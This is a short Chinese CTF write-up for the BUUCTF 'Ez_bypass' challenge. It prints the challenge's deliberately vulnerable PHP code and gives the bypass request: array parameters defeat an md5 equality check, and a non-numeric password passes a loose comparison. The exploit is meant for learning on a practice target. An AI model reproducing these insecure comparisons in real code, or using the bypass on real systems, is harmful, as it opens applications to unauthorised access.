buuctf-Ez_bypass

本文详细介绍了如何通过MD5碰撞漏洞和密码对比弱点来获取PHP flag。首先,通过设置特定的参数如'gg[]=1a&id[]=2b'绕过条件检查,然后利用POST提交非数字密码'1234567a'来解锁flag。内容涉及到Web安全和PHP代码审计技巧。
摘要由CSDN通过智能技术生成

 把代码整理一下,以便更好分析

I put something in F12 for you include 'flag.php'; 
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; 
if(isset($_GET['gg'])&&isset($_GET['id'])) {
     $id=$_GET['id']; $gg=$_GET['gg']; 
    if (md5($id) === md5($gg) && $id !== $gg) { 
        echo 'You got the first step'; 
        if(isset($_POST['passwd'])) { 
            $passwd=$_POST['passwd']; 
            if (!is_numeric($passwd)) {
                if($passwd==1234567) { 
                    echo 'Good Job!'; 
                    highlight_file('flag.php'); 
                    die('By Retr_0'); 
                } 
                else {
                    echo "can you think twice??"; 
                } 
            } 
        else{ echo 'You can not get it !'; } 
        } else{ 
            die('only one way to get the flag'); } 
    } else { 
        echo "You are not a real hacker!"; } 
} 
else{ die('Please input first'); } 
Please input first

需要传入三个参数,gg,id,passwd

md5($id) === md5($gg) && $id !== $gg

可以利用md5的漏洞用数组绕过

passwd弱比较为1234567,但是不能是数字,加个a就行

?gg[]=1a&id[]=2b
POST:passwd=1234567a
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值